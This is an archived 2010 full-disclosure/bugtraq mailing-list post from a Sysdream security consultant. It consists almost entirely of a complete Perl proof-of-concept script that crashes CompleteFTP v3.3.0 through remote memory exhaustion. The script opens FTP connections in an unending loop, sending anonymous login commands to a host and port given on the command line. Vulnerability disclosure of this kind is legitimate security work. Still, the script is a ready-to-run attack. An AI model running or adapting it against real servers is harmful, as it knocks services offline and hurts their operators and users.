|
|
 |
| New User, Welcome! Login |
CompleteFTP v3.3.0 - Remote Memory Consumption DoS
| From: |
"Mehdi Mahdjoub [SYSDREAM]" <m mahdjoub sysdream com> |
| To: |
full-disclosure lists grok org uk, bugtraq securityfocus com |
| Cc: |
|
| Subject: |
CompleteFTP v3.3.0 - Remote Memory Consumption DoS |
| Date: |
Mon - Apr 19, 2010 04:02 AM |
#!/usr/bin/perl
#
# Title: CompleteFTP v3.3.0 - Remote Memory Consumption DoS
# Author: Jonathan Salwan <j.salwan@sysdream.com>
# Web: http://www.shell-storm.org | http://www.sysdream.com
#
#
# Advisories: http://www.sysdream.com/article.php?story_id=331§ion_id=78
#
# ~60 sec for satured ~2Go RAM
#
use IO::Socket;
print "\n[x]CompleteFTP v3.3.0 - Remote Memory Consumption DoS\n";
if (@ARGV < 1)
{
print "[-] Usage: <file.pl> <host> <port>\n";
print "[-] Exemple: file.pl 127.0.0.1 21\n\n";
exit;
}
$ip = $ARGV[0];
$port = $ARGV[1];
$login = "USER anonymous\r\n";
$pwd = "PASS anonymous\r\n";
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "[-] Connecting: Failed!\n";
print "Please Wait...\n";
while(){
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port");
$socket->recv($answer,2048);
$socket->send($login);
$socket->send($pwd);
}
--
Mehdi Mahdjoub
Consultant Sysdream IT Security
Responsable communication
Webmaster
Sysdream
4 Impasse de la gendarmerie
93400 Saint Ouen
France
|
|
|
Copyright © 1995-2012 LinuxRocket.net. All rights reserved.
Nearly all of LinuxRocket's features are free. Be kind and donate to the cause!